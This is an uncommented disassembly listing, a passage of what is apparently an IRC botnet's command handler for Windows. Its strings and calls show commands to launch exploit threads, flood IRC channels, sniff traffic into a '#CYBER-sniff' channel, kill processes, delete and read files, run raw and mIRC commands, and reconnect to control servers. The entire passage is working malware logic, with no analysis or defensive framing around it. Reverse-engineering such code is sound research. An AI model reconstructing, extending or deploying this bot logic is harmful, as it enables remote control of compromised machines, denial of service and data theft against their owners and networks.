loc_4045E0: ; CODE XREF: sub_401CC1+28FEj
push eax
push offset unk_44196C
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_4045EB: ; CODE XREF: sub_401CC1+28E9j
; sub_401CC1+28EEj
push eax
push offset unk_441998
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_4045F6: ; CODE XREF: sub_401CC1+28DEj
mov edi, [ebp+arg_18]
xor esi, esi
loc_4045FB: ; CODE XREF: sub_401CC1+2956j
push [ebp+var_90]
push edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_40461E
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4045FB
jmp loc_407C2F
; ---------------------------------------------------------------------------
loc_40461E: ; CODE XREF: sub_401CC1+294Aj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset unk_4419C4
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_404638: ; CODE XREF: sub_401CC1+C3Dj
; sub_401CC1+C52j
push [ebp+var_8C]
push offset a332_4 ; "332"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40331B
call sub_40A9C6
push ebx
call dword_4F1320 ; ExitProcess
loc_40465E: ; CODE XREF: sub_401CC1+1692j
push offset aGet_1 ; "get"
push edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404704
cmp dword_4E4098, ebx
jz short loc_40468A
push offset dword_4E3A78
push offset unk_4429B4
jmp loc_404716
; ---------------------------------------------------------------------------
loc_40468A: ; CODE XREF: sub_401CC1+29B8j
push 10h
pop eax
mov [ebp+var_2D8], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call dword_4F151C ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_C74]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B740
lea eax, [ebp+var_C74]
push eax
lea eax, [ebp+var_2C0]
push offset unk_4429F8
push eax
call sub_41B740
add esp, 20h
jmp loc_403372
; ---------------------------------------------------------------------------
loc_404704: ; CODE XREF: sub_401CC1+29ACj
push edi
call dword_4E08DC
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_40472A
push offset unk_442A30
loc_404716: ; CODE XREF: sub_401CC1+29C4j
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
jmp loc_403372
; ---------------------------------------------------------------------------
loc_40472A: ; CODE XREF: sub_401CC1+2A4Ej
push offset dword_4E3A78
call sub_41C300
push edi
lea eax, [ebp+var_2C0]
push offset unk_442A64
push eax
mov dword_4E4098, 1
call sub_41B740
add esp, 14h
jmp loc_403372
; ---------------------------------------------------------------------------
loc_404758: ; CODE XREF: sub_401CC1+167Dj
push [ebp+arg_10]
push offset aExploit ; "exploit"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404855
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_1190], eax
mov eax, [ebp+var_8]
mov [ebp+var_118C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_11A0], eax
push offset aXx_0 ; "#xx#"
lea eax, [ebp+var_1220]
push esi
push eax
mov [ebp+var_1198], 1
call sub_41B910
push offset aXx_0 ; "#xx#"
lea eax, [ebp+var_12A0]
push esi
push eax
call sub_41B910
push edi
lea eax, [ebp+var_12B0]
push 10h
push eax
call sub_41B910
lea eax, [ebp+var_12B0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_442A98
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 8
push eax
call sub_40A7FD
add esp, 3Ch
mov [ebp+var_1194], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_12B0]
push ebx
push eax
push offset sub_40AFA4
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1194]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_404844
loc_40482E: ; CODE XREF: sub_401CC1+2B81j
cmp [ebp+var_1188], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40482E
; ---------------------------------------------------------------------------
loc_404844: ; CODE XREF: sub_401CC1+2B6Bj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_442AC8
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_404855: ; CODE XREF: sub_401CC1+2AA8j
push [ebp+arg_10]
push offset aReconnect_in ; "reconnect.in"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408C18
push [ebp+arg_10]
push offset aRin ; "rin"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408C18
push [ebp+arg_10]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408BD6
push [ebp+arg_10]
push offset aRinms ; "rinms"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408BD6
push [ebp+arg_10]
push offset aFlood ; "flood"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405430
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
push edi
push offset aLoad ; "load"
call sub_41C4C0
add esp, 0Ch
test eax, eax
jnz short loc_404958
cmp [ebp+esi+var_80], ebx
jz short loc_404958
push [ebp+esi+var_80]
call sub_41B3F0
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B3F0
pop ecx
push eax
push [ebp+esi+var_88]
call sub_415639
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_442BC0
push eax
call sub_41B740
add esp, 20h
cmp [ebp+var_8], ebx
jnz short loc_404958
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_404958: ; CODE XREF: sub_401CC1+2C23j
; sub_401CC1+2C29j ...
push edi
push offset aPm_1 ; "pm"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_4049BF
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_4049BF
push offset asc_442BF0 ; " "
push offset a__5 ; "_"
push eax
call sub_415C6E
push eax
lea eax, [ebp+var_4250]
push eax
call sub_41C300
lea eax, [ebp+var_4250]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_3 ; "privmsg %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 28h
loc_4049BF: ; CODE XREF: sub_401CC1+2CA6j
; sub_401CC1+2CB1j
push edi
push offset aCt ; "ct"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404A26
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404A26
push offset asc_442C0C ; " "
push offset a__6 ; "_"
push eax
call sub_415C6E
push eax
lea eax, [ebp+var_3B4C]
push eax
call sub_41C300
lea eax, [ebp+var_3B4C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_442C14
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 28h
loc_404A26: ; CODE XREF: sub_401CC1+2D0Dj
; sub_401CC1+2D18j
push edi
push offset dword_442C28
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404A8D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404A8D
push offset dword_442C2C
push offset dword_442C30
push eax
call sub_415C6E
push eax
lea eax, [ebp+var_3C4C]
push eax
call sub_41C300
lea eax, [ebp+var_3C4C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_442C34
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 28h
loc_404A8D: ; CODE XREF: sub_401CC1+2D74j
; sub_401CC1+2D7Fj
push edi
push offset aMode ; "mode"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404AF4
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404AF4
push offset asc_442C4C ; " "
push offset a_ ; "_"
push eax
call sub_415C6E
push eax
lea eax, [ebp+var_3F4C]
push eax
call sub_41C300
lea eax, [ebp+var_3F4C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 28h
loc_404AF4: ; CODE XREF: sub_401CC1+2DDBj
; sub_401CC1+2DE6j
push edi
push offset aJoin ; "join"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404B31
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404B31
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
loc_404B31: ; CODE XREF: sub_401CC1+2E42j
; sub_401CC1+2E4Dj
push edi
push offset aPart_1 ; "part"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404B6E
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404B6E
push eax
lea eax, [ebp+var_2C0]
push offset aPartS ; "part %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
loc_404B6E: ; CODE XREF: sub_401CC1+2E7Fj
; sub_401CC1+2E8Aj
push edi
push offset aPartflood ; "partflood"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404BB0
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404BB0
push offset aRoom ; "room"
push eax
lea eax, [ebp+var_2C0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_404BB0: ; CODE XREF: sub_401CC1+2EBCj
; sub_401CC1+2EC7j
push edi
push offset aPnick ; "pnick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404C23
cmp [ebp+esi+var_88], ebx
jz short loc_404C23
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_1560]
push edx
push [ebp+esi+var_88]
push offset aSI ; "%s%i"
push eax
call sub_41B740
lea eax, [ebp+var_1560]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS ; "NICK %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
loc_404C23: ; CODE XREF: sub_401CC1+2EFEj
; sub_401CC1+2F07j
push edi
push offset aJoinPart ; "join/part"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404D74
cmp [ebp+esi+var_88], ebx
jz loc_404D74
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_0 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push offset aRoom ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_0 ; "part %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
call sub_41B850
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_1 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
call sub_41B850
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_1 ; "part %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_2 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
call sub_41B850
cdq
mov ecx, 0C8h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_2 ; "part %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_404D74: ; CODE XREF: sub_401CC1+2F71j
; sub_401CC1+2F7Ej
push edi
push offset aDcc ; "dcc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404E0C
cmp [ebp+esi+var_88], ebx
jz short loc_404E0C
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B850
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C0]
push edx
push [ebp+esi+var_88]
push offset dword_442CFC
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
loc_404E0C: ; CODE XREF: sub_401CC1+30C2j
; sub_401CC1+30CFj
push edi
push offset aNick_0 ; "nick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404F0F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_404F0F
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS_3 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
lea eax, [ebp+var_4BC]
push eax
call sub_4156B7
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_4156B7
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_1 ; "NICK %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
call sub_41B850
cdq
mov ecx, 1F4h
idiv ecx
push edx
call dword_4F1334 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_4156B7
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_2 ; "NICK %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_404F0F: ; CODE XREF: sub_401CC1+315Aj
; sub_401CC1+3169j
push edi
push offset aChgnick ; "chgnick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_404F53
lea eax, [ebp+var_15B4]
push eax
call sub_4156B7
lea eax, [ebp+var_15B4]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_3 ; "NICK %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_404F53: ; CODE XREF: sub_401CC1+325Dj
push edi
push offset aMsg ; "msg"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405045
cmp [ebp+esi+var_88], ebx
jz loc_405045
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_4 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
call sub_41B850
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "privmsg %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
call sub_41B850
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_1 ; "privmsg %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_405045: ; CODE XREF: sub_401CC1+32A1j
; sub_401CC1+32AEj
push edi
push offset aNotice_2 ; "notice"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405137
cmp [ebp+esi+var_88], ebx
jz loc_405137
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_5 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 24h
call sub_41B850
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_2 ; "NOTICE %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
call sub_41B850
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_3 ; "NOTICE %s :%s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_405137: ; CODE XREF: sub_401CC1+3393j
; sub_401CC1+33A0j
push edi
push offset aCtcp ; "ctcp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405255
cmp [ebp+esi+var_88], ebx
jz loc_405255
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_6 ; "join %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442DE8
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 20h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442DFC
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442E14
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442E2C
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 10h
loc_405255: ; CODE XREF: sub_401CC1+3485j
; sub_401CC1+3492j
push edi
push offset dword_442E44
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405382
cmp [ebp+esi+var_88], ebx
jz loc_405382
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442E48
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_442E50
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 20h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_442E64
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_442E74
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
call sub_41B850
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_4F1334 ; Sleep
push offset aRoom_0 ; "room"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_442E84
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_405382: ; CODE XREF: sub_401CC1+35A3j
; sub_401CC1+35B0j
push edi
push offset aRegister ; "register"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_4053C6
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_4053C6
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B740
lea eax, [ebp+var_2C0]
push eax
call sub_415357
add esp, 14h
loc_4053C6: ; CODE XREF: sub_401CC1+36D0j
; sub_401CC1+36DBj
push edi
push offset aOff_0 ; "off"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405CA6
mov [ebp+arg_18], offset dword_4E85B4
loc_4053E2: ; CODE XREF: sub_401CC1+3745j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_4053F8
mov eax, [eax]
cmp eax, ebx
jbe short loc_4053F8
push eax
call dword_4E0934
loc_4053F8: ; CODE XREF: sub_401CC1+3728j
; sub_401CC1+372Ej
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4EECD4
jl short loc_4053E2
cmp [ebp+var_8], ebx
jnz loc_405CA6
push ebx
push [ebp+var_4]
push offset unk_442EBC
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
jmp loc_405CA6
; ---------------------------------------------------------------------------
loc_405430: ; CODE XREF: sub_401CC1+2C01j
push [ebp+arg_10]
push offset aNick_1 ; "nick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408BBD
push [ebp+arg_10]
push offset aN ; "n"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408BBD
push [ebp+arg_10]
push offset aJoin_0 ; "join"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B9D
push [ebp+arg_10]
push offset aJ ; "j"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B9D
push [ebp+arg_10]
push offset aPart_2 ; "part"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B84
push [ebp+arg_10]
push offset aPt ; "pt"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B84
push [ebp+arg_10]
push offset aRaw ; "raw"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B4D
push [ebp+arg_10]
push offset aR_1 ; "r"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408B4D
push [ebp+arg_10]
push offset aKillthread ; "killthread"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408A4F
push [ebp+arg_10]
push offset aK ; "k"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408A4F
push [ebp+arg_10]
push offset aC_quit ; "c_quit"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4089A4
push [ebp+arg_10]
push offset aC_q ; "c_q"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4089A4
push [ebp+arg_10]
push offset aC_rndnick ; "c_rndnick"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40894D
push [ebp+arg_10]
push offset aC_rn ; "c_rn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40894D
push [ebp+arg_10]
push offset aPrefix ; "prefix"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408938
push [ebp+arg_10]
push offset aPr ; "pr"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408938
push [ebp+arg_10]
push offset aOpen ; "open"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40890E
push [ebp+arg_10]
push offset aO ; "o"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40890E
push [ebp+arg_10]
push offset aServer ; "server"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4088E9
push [ebp+arg_10]
push offset aSe ; "se"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4088E9
push [ebp+arg_10]
push offset aDns ; "dns"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40887B
push [ebp+arg_10]
push offset aDn ; "dn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40887B
push [ebp+arg_10]
push offset aKillproc ; "killproc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40884F
push [ebp+arg_10]
push offset aKp ; "kp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40884F
push [ebp+arg_10]
push offset aKill ; "kill"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087F4
push [ebp+arg_10]
push offset aKi ; "ki"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087F4
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087C0
push [ebp+arg_10]
push offset aDel ; "del"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087C0
push [ebp+arg_10]
push offset aList ; "list"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087A5
push [ebp+arg_10]
push offset aLi ; "li"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4087A5
push [ebp+arg_10]
push offset aMirccmd ; "mirccmd"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408731
push [ebp+arg_10]
push offset aMirc ; "mirc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408731
push [ebp+arg_10]
push offset dword_443350
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4086DD
push [ebp+arg_10]
push offset dword_443354
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4086DD
push [ebp+arg_10]
push offset aReadfile ; "readfile"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408658
push [ebp+arg_10]
push offset aRf ; "rf"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408658
push [ebp+arg_10]
push offset aSniffer ; "sniffer"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_4058B9
push edi
push offset aOn ; "on"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_405881
push 21h
call sub_40AA45
test eax, eax
pop ecx
jle short loc_4057AE
push offset unk_443408
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_4057AE: ; CODE XREF: sub_401CC1+3AE1j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_D98], eax
mov eax, [ebp+var_4]
mov [ebp+var_D10], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_D0C], eax
jnz short loc_4057F0
mov esi, offset aCyberSniff ; "#CYBER-sniff"
push offset dword_4E0768
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057F0
mov esi, [ebp+var_88]
loc_4057F0: ; CODE XREF: sub_401CC1+3B11j
; sub_401CC1+3B27j
push esi
lea eax, [ebp+var_D94]
push 80h
push eax
call sub_41B910
lea eax, [ebp+var_2C0]
push offset unk_443428
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 21h
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_D14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D98]
push ebx
push eax
push offset sub_411A34
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_D14]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_405870
loc_40585A: ; CODE XREF: sub_401CC1+3BADj
cmp [ebp+var_D08], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40585A
; ---------------------------------------------------------------------------
loc_405870: ; CODE XREF: sub_401CC1+3B97j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443458
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_405881: ; CODE XREF: sub_401CC1+3AD1j
push edi
push offset aOff_1 ; "off"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_407C2F
push ebx
push 21h
call sub_40A9F8
pop ecx
cmp eax, ebx
pop ecx
jle short loc_4058AF
push eax
push offset unk_443498
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_4058AF: ; CODE XREF: sub_401CC1+3BE1j
push offset unk_4434D8
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_4058B9: ; CODE XREF: sub_401CC1+3ABCj
push [ebp+arg_10]
push offset aIdent ; "ident"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40598C
push edi
push offset aOn_0 ; "on"
call sub_41C4C0
